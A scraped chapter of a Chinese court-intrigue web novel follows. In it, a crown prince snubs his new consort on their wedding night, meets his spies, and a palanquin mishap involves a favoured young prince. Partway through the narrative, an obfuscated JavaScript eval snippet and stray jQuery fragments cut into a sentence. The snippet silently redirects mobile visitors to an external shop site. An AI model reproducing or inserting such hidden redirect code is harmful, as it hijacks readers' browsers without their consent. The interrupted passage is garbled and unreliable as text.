文趣网 > 其他小说 > 玉叶金柯 > 3. 这是怎么了?
    在太庙宣读完祝文后,海郁离和李僩为在东宫崇文殿举行合卺礼。二人相对而坐,似近非近,似远非远。

    端起卺杯饮酒,海郁离才抬眼看了看对面人的真容,谁知道这一看,竟和李僩为对上眼了。

    四目相对,她的身子顿时一僵,立刻又垂下眼帘来。

    她没看到,对面人端着酒杯的手也随着这眼神微微颤抖。李僩为瞧她这模样,又想到自己竟就这样慌了神,自嘲般扯了扯嘴角。

    顶了一天这仿佛千斤重的冠冕,如今仪典进入尾声了,海郁离只盼着它赶紧结束,好让自己的脖子得以歇息。

    礼官先给李僩为奉上剪刀,他从发髻中抽出一缕发丝剪断,没等礼官将剪刀取回,他又握住刀口,将剪刀直接递给海郁离。

    海郁离愣了愣,伸出手去接过,小拇指轻轻擦过了李僩为的指节,她却没有感觉到。

    礼官将二人的头发用锦带系为一束,

    “结发礼成,愿殿下与娘娘发结同心,琴瑟和鸣,情长意久,子孙绵延。”

    海郁离心想,可不必了。

    礼官和侍从都已退下,该是洞房花烛的时辰。海郁离感到自己的脑袋和脖子已经没了知觉,再想到前几日宫里嬷嬷教的侍寝规矩,她心中更是难熬。唯一的慰藉是,今日圆房,她可以开始向李僩为动用驭情之术。

    “你若是觉得沉,就将这冠冕摘下来。”

    李僩为仿佛也注意到了她的不适,说话语气冷冰冰的,但还算体恤。

    海郁离有些讶然,但她来不及谢过,直接就想将冠冕抬起来,把这两个人的活干了。

    李僩为瞧着她实在是为难,竟伸手帮了她一把。他摘下冠冕放在床头再站起来,这动作一气呵成。

    海郁离不知道他这站起身是要干什么,正费解着,又在想两个衣冠整齐的人是如何能到同床那一步的,李僩为一句话却完全打断了她的思绪。

    “实在不巧,今日我与几位大臣还有要事商议,你就先在崇文殿歇息吧。”

    此事全然在海郁离意料之外,她顿时哑口无言,怔在原地。李僩为却像没看到眼前之人的错愕一般,转身离开。

    片刻后,钱嬷嬷带着吉圆和小芝焦急地走进来,

    “娘娘,这是怎么了?”

    钱嬷嬷关切道。

    海郁离面上早没了刚才的惊异,转头颇为从容地吩咐小芝,

    “你去打听一下,太子是否在和人商议政事,别太显眼。”

    小芝应下,立刻便出了门。

    吉圆满脸不悦,

    “太子殿下也真是的,新婚当夜就将您一人撇下,这不是让整个宫里都看笑话吗?”

    海郁离也不知道李僩为是发哪门子的疯,感觉他不是这样不识礼数不顾大局之人,但他却实实在在做出了这荒唐事。

    他如此待她,若他不是对她厌恶至极,那便是他对海家有着极深的忌惮,自然不会与她亲近。

    “我这就去让咱们宫里的人都管好自己的嘴,绝不让今夜之事传出去。”

    吉圆正欲转身离开,却被海郁离拦了下来,

    “虽说我并不觉得十分委屈,但要将此事主动告诉宫里人,实在是有失体面。

    更何况太子从崇文殿到绥章宫,一路上多少宫人守卫。众口铄金,我们只拦住瑶光殿的宫人,又有何用?”

    吉圆闻言也只能无奈地撇撇嘴。

    “任由宫里嘴碎的人如何说,但谁要是敢胡乱添油加醋嚼舌根,娘娘也无需忍让。”

    钱嬷嬷将海郁离的头饰耳饰一一取下,片刻后,小芝也回来了,

    “娘娘,我打听到太子殿下是留了几位大人在绥章宫偏殿议事,只是不知是哪几位大人。”

    海郁离点点头,再无多言。

    “娘娘也无需等他,早些歇息吧,明日一早还要去向皇上皇后行朝见礼呢。”

    钱嬷嬷言毕,自知不宜久留,带着小芝和吉圆立刻便离开了。

    夜里发生了这样的事,海郁离起初还担心自己又会一夜无眠,但许是因为今日繁重的典礼让她身心俱疲,她竟是一沾枕头就睡着了。

    -

    “参见太子殿下。”

    五个或文士或小厮模样的人向李僩为问安,此刻他身上还穿着大婚时的红色礼袍,身后跟着配剑的萧砚,

    “都起来吧。”李僩为抬手,在主位坐下,“你们进宫这一事做得可算隐蔽?他们可生疑惑?”

    这话显然是问那两个文士的。

    “恭王殿下有意抬举,今日进宫实则是恭王有意将下僚引荐给皇后娘娘。”

    李僩为微微颔首。

    站在另一边的文士也回话道:

    “襄王殿下是好说话的,他知晓下僚的妹妹在宫中做掌茶,便应允带下僚来宫中与家妹短聚。”

    稍远处,一个模样清秀的小厮面露难色,犹豫再三后出言:

    “太子殿下,下僚有一言不知当讲不当讲。”

    李僩为面色如常,淡淡吐出两个字:“说吧。”

    “下僚在宁王府多年,基本可以确定宁王外无势力支持,内无夺嫡之想,一门心思只在骑术蹴鞠,于您实在构不成威胁,不如循序裁撤宁王府的细作,以免徒生事端。”

    他一说完,襄王府和霁王府的细作齐声附议。可李僩为闻言,几乎是一口回绝了他们的提议,

    “三位所言有理,但我宁可白费心思,也绝不允许有一丝失察的可能。”

    他转头看向宁王府那清秀的文士,

    “你说宁王沉迷骑术蹴鞠,我知道他在湟源有几座马场,人脉甚广,你可能确定他绝无涉军马事宜之心?”

    此人闻言霎时低下了头。

    李僩为站起身来,向着众人正色道:

    “我既知诸位数年来对我忠心耿耿,竭尽心力,他日功成,我亦不负诸位良苦用心。”

    -

    海郁离是被小芝摇醒的,

    “娘娘,娘娘,快起身吧,该去太和殿行朝见礼了。”

    她睁开惺忪睡眼,掀开被子坐在床边。如她所料,李僩为一夜未归。

    梳洗完毕后,她走至崇文殿正殿,却在这里见到了他。这人眼下带着些乌青,看来昨夜确实劳累。

    “给太子殿下请安。”

    海郁离走到李僩为身前,毕恭毕敬地行礼。

    李僩为昨晚冷落了她,可今日看上也分明一点也没有愧意,只是瞥了她一眼,而后淡漠道:“起来吧。”

    二人就这样并立站着,等着轿辇。

    从东宫崇文殿到太和殿路程不算远,海郁离和李僩为像昨晚一样,并排坐在轿上,中间却隔了能坐下一个人的距离。

    海郁离想到昨晚的事,又瞟到身边人云淡风轻的模样,忍不住开口道:

    “昨日和大臣们议事,可解太子殿下燃眉之急了?”

    李僩为想着她这是来找自己算账了,剑眉轻挑,没打算回答她的问题,反倒是转头问她:

    “太子妃昨夜休息得可好?”

    海郁离连忙笑言:“托殿下洪福,一夜无梦。”

    李僩为也不遑多让:

    “哦?难怪太子妃今日容光焕发,本以为是额头上这花钿色彩艳丽,如今看来竟是昨夜独自一人安枕好眠之故。”

    海郁离简直大开眼界,没想到看起来冷若冰霜的太子,讽刺起人来竟能如此巧舌如簧。

    海郁离刚想说他倒是眼下乌青,一看就是昨夜太过操劳政事,可要注意休息。没想到才一张嘴,这轿子却忽地向左一倾。她还来不及作出反应,整个身子便向李僩为倒了去。

    “小心!”

    她听见李僩为轻喊出声,又见他两只手臂也迅速将她揽住。轿子平稳后,海郁离抬头,发觉二人的面庞此刻竟如此贴近,她甚至能感受到李僩为的鼻息。

    待缓过神后,她迅速从他臂弯中抽出身子,匆忙整理了一番仪容。

    李僩为掀开窗幔,厉声问道:

    “怎么回事?”

    承顺正欲开口,一旁的礼官却忽地上前扑通一跪,神色慌张

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796415|210525||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,

    “回太子殿下,恭王府的公子璋在架马车,抬轿的下人们怕造成冲撞,这才迅速回避。惊着太子殿下和娘娘,真是罪该万死!”

    李僩为往远处望去,海郁离也随之将窗帘掀开。外头果然有一个坐在木椅上的孩童被几个内官簇拥着,他们前头拉车的小马也算是矫健,脚步飞快。

    李僩为放下窗帘,只道一声:“罢了。”

    礼官谢过,仪仗便又像无事发生一般继续行至太和殿。

    这一上午,朝见礼结束后二人又要去宗庙。算上昨日,这大婚典礼也算是历经了整整一日,待宗庙礼完成后才终于礼成。

    李僩为二话不说,礼成后立刻便回了绥章宫处理政务。

    瑶光殿内午膳早已布好,钱嬷嬷见海郁离回来了便将吃食又端去让小厨房热了一遍。

    海郁离看着今日的点心尽是燕窝红枣银耳羹,花生酪,琥珀桂圆蜜饯,菱角莲子糕等孩童爱吃的玩意儿,不由地便想起早晨冲撞车架的公子璋。

    “吉圆,你去将湄若叫来。”海郁离放下汤匙,吩咐道。

    不一会儿,湄若便到了海郁离跟前前回话。

    海郁离让人将饭食撤下,招呼湄若起身,

    “听旁人说你在宫中有几年了,你也知道我才进宫不过十日,有许多不明白的事还得向你打听呢。”

    湄若莞尔一笑,

    “娘娘客气了,小的必当知无不言。”

    “早晨我与太子在太和殿前见到了恭王府的小公子李璋,听说皇上皇后对他十分疼爱,恭王也时常带他进宫呢。”

    湄若点头,

    “陛下只有三位孙儿。梁王殿下府中的世子珩和嘉平郡主最得陛下垂爱,只不过世子和郡主都居住在靖城,陛下虽疼爱他们却不能常常见到。再有就是恭王殿下的庶长子公子璋了。

    公子璋年纪小,又一直长在禄京,祖母还是皇后娘娘,恭王殿下也一直颇得盛宠,可随时进宫请安,公子璋就常随他来了。”

    一直沉默的小芝忽地开口,语气带些不悦,

    “难怪照顾公子璋的下人们如此跋扈,冲撞了太子和娘娘的轿辇竟也无人来请罪。”

    湄若听完面色如常,只说道:

    “姑娘有所不知,这样的事也不是第一回了。公子璋年幼,陛下甚是疼爱,恭王殿下在众皇子中的地位向来被视为仅次于太子殿下,太子殿下还无子嗣…

    公子璋自是身份尊贵,先前哪怕是冲撞了圣驾,陛下也无追责。”

    吉圆被气得极了,张口就道:

    “再尊贵也不得失了体面,恭王府的人简直是恃宠而骄!”

    海郁离察觉她话有不妥,立刻出声制止,湄若赶紧打圆场,

    “吉圆姑娘说得也没错,凭他是哪个王府的,咱们东宫的孩子才是正统,等来日太子妃娘娘诞下小公子,陛下定是瞧也不会再多瞧其他王府的孩子一眼!”

    这话只叫海郁离感到惶恐,她不敢再让她们说下去,立刻吩咐了湄若退下,再转头提点吉圆,

    “往后不可再如此心直口快了,有些话在自己宫里说说还没事,出去了恐怕酿成祸患。”

    吉圆立马红了脸,诚恳地认起错来。

    午膳过后,海郁离在正殿摆起了棋谱,脑海中思考着父亲先前说过的话。

    海家当年开国时是侯爵之位,后来祖父驻守西北战功赫赫,元宗便将海家抬为了公爵。

    父亲自己承袭了爵位与统管着镇安军的西北总领之位,身份显赫。而堂伯父海无患驻守东海多年,也同样手握兵权,不可小觑。

    父亲常说,海家如今处在下位,不论背后有多痛恨李家,表面上定是要做到极致的谦卑恭顺。现在的皇帝表面上虽依然看重海家,但已初显打压之意,若海氏一族不知韬晦反而恃宠而骄,恐怕在大计将成前就会大祸临头。

    皇后和恭王不知当年血仇,与父亲所筹谋的夺权大计也无有瓜葛。二人行事一贯狂妄,若是还不加以约束,他们则极有可能在懵懂之中,将自己与父亲连累。